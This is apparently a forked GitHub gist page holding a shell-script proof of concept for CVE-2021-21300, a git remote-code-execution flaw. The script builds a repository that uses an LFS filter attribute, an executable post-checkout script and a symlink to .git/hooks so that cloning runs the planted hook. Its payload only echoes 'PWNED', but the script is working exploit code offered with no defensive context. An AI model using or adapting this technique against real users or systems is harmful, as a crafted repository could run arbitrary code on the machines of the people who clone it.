Skip to content

Instantly share code, notes, and snippets.

@halamaitah3
Forked from juliosmelo/CVE-2021-21300-exploit
Created October 23, 2023 15:02
Show Gist options
  • Save halamaitah3/1be156b081edfba53138d2847432a13d to your computer and use it in GitHub Desktop.
Save halamaitah3/1be156b081edfba53138d2847432a13d to your computer and use it in GitHub Desktop.

Revisions

  1. @juliosmelo juliosmelo created this gist Mar 11, 2021.
    19 changes: 19 additions & 0 deletions CVE-2021-21300-exploit
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,19 @@
    #!/bin/sh

    git init delayed-checkout &&
    (
    cd delayed-checkout &&
    echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \
    >.gitattributes &&
    mkdir A &&
    printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout &&
    chmod +x A/post-checkout &&
    >A/a &&
    >A/b &&
    git add -A &&
    rm -rf A &&
    ln -s .git/hooks a &&
    git add a &&
    git commit -m initial
    ) &&
    git clone delayed-checkout cloned